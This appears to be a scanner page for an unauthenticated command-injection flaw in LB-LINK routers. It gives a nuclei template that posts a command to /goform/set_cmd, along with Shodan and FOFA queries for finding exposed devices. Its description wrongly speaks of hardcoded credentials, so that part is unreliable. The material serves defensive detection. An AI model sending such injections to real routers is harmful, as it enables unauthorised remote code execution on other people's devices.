LB-LINK Routers - Unauthenticated Command Injection

criticalseverity

9.8CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

LB-LINK X-PRO 1.0.22-20231206 contains a hardcoded credentials vulnerability caused by manipulation of an unknown function in /etc/shadow, letting remote attackers use hardcoded credentials, exploit requires high complexity

Impact

Remote attackers can use hardcoded credentials to gain unauthorized access, potentially compromising the system.

Fix

Update to the latest version or contact vendor for a patch.

How to confirm it

Send: GET /
Positive when: contains(tolower(header), "goahead") and contains_any(tolower(body), "lb-link", "goform", "/login.asp")
Send: POST /goform/set_cmd
Positive when: status_code == 200 and contains(header, "GoAhead") and contains_all(body, "\"type\":\"setcmd\"", "\"cmdinfo\":\"{{randstr}}")

Run it with nuclei: nuclei -id CVE-2026-19900 -u <target>

The full check

id: CVE-2026-19900

info:
  name: LB-LINK Routers - Unauthenticated Command Injection
  author: 0x_Akoko
  severity: critical
  description: |
    LB-LINK X-PRO 1.0.22-20231206 contains a hardcoded credentials vulnerability caused by manipulation of an unknown function in /etc/shadow, letting remote attackers use hardcoded credentials, exploit requires high complexity
  impact: |
    Remote attackers can use hardcoded credentials to gain unauthorized access, potentially compromising the system.
  remediation: |
    Update to the latest version or contact vendor for a patch.
  reference:
    - https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-19900
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-19900
    epss-score: 0.02941
    epss-percentile: 0.8724
    cwe-id: CWE-77
  metadata:
    max-request: 2
    verified: true
    vendor: lb-link
    product: bl-wr9000_firmware
    fofa-query: body="goform" && body="LB-LINK"
    shodan-query: http.html:"LB-LINK" "GoAhead-Webs"
  tags: cve,cve2026,lb-link,router,rce,iot,unauth,cmdi

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(header), "goahead")'
          - 'contains_any(tolower(body), "lb-link", "goform", "/login.asp")'
        condition: and
        internal: true

  - raw:
      - |
        POST /goform/set_cmd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        cmd=echo+{{randstr}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "GoAhead")'
          - 'contains_all(body, "\"type\":\"setcmd\"", "\"cmdinfo\":\"{{randstr}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from